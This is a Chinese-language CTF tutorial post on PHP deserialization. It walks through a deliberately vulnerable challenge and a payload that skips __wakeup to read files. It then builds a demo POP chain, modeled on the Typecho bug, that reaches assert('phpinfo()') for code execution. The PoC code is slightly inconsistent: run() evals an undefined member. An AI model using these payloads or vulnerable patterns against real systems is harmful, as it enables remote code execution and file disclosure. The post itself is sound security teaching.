php反序列化简叙
0x01 php简单的反序列化
这题是在网上看到的,原题连接不太了解,但是源码题目给了出来,稍微下文件名和排版在本地测试
<?php class SoFun{ protected $file='ser.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){ show_source(dirname (__FILE__).'/'.$this ->file); } } else{ die('Wrong filename.'); } } function __wakeup(){ $this-> file='ser.php'; } function __toString(){ return '' ; } } if(!isset($_GET['file'])){ show_source('ser.php'); } else{ $file=base64_decode( $_GET['file']); echo unserialize($file ); } ?>
题目的相关魔术方法调用时机
__destruct()类似于c中的析构函数,在对象被销毁时调用
__toString()在这里没啥用
__wakeup()在进行反序列化的时候调用
__destruct()中读取了文件,最终用它读取flag, __wakeup()把读取的文件的对应变量变成当前文件
__wakeup()在__destruct()前面调用
那么目的是绕过__wakeup()进行__destruct()操作
对应wakeup(),存在以下问题,当序列化的字符串中描述的类的成员个数和 {} 内的成员个数不同的时候不会被调用
首先构造payload
<?php class SoFun{ protected $file='hello.txt'; public $a = "a"; } $add = new SoFun; echo base64_encode(serialize($add));
运行生成base64
先将它base64解码,然后删除{}中a的对应序列(注意:因为protect和private存在不可见字符,所有用base64,或url编码输出)
最终再base64编个码,包含进来即可,我hello.txt文件的内容即之前做题留在上面的文件(所有内容不重要,重要的是漏洞利用>_<)
0x02 PHP反序列化的进一步利用
php反序列化的知识点i春秋上的一篇文件写的非常详细
https://bbs.ichunqiu.com/thread-39169-1-1.html
那么结合最后的typecho的反序列漏洞,模仿着写了一个简易的代码
<?php class C1{ function __construct($key, $word){ $sijidou = $key . $word; } } class C2{ private $a2; function __toString(){ echo $this->a2->ying; return "hello"; } } class C3{ private $fun; private $parm; function __get($key){ $this->run(); return null; } function run(){ call_user_func($this->fun, $this->parm); } } if(isset($_GET['ser'])){ $s = $_GET['ser']; $arr = unserialize($s); $class1 = new C1($arr['siji'],$arr['dou']); } else{ highlight_file("demo.php"); } ?>
这里是需要构造pop链,来达到最终执行run()方法中的call_user_func()来达到代码执行
构造思路是入口为ser的参数,该参数是数组
ser数组的 "siji" 和 "dou" 两个键值対会被C1的中的__construct调用
该函数把参数当做字符串进行字符串使用,于是可能会调用到C2的__toString魔术方法
__toString方法里面调用了私有成员的方法,因此又可以利用C3的__get魔术方法
而 __get魔术方法会调用到run(),从而达到代码执行
附上我写的poc
<?php class C1{ function __construct($key, $word){ $sijidou = $key . $word; } } class C2{ private $a2; function __toString(){ $this->a2->ying; return "hello"; } function add(){ $this->a2 = new C3(); } } class C3{ private $fun = "assert"; private $parm = "phpinfo()"; function __get($key){ $this->run(); } function run(){ eval($this->a3); } } $class2 = new C2(); $class3 = new C3(); $class2->add(); $exp = array('siji' => $class2, 'dou' => 'dou'); echo urlencode(serialize($exp)); ?>
利用成功,成功执行phpinfo
这里自己因为一些原因把该题目挂到了自己的服务器上,大家可以试着找找其中的flag(注:请执行看看phpinfo里面的禁用的函数)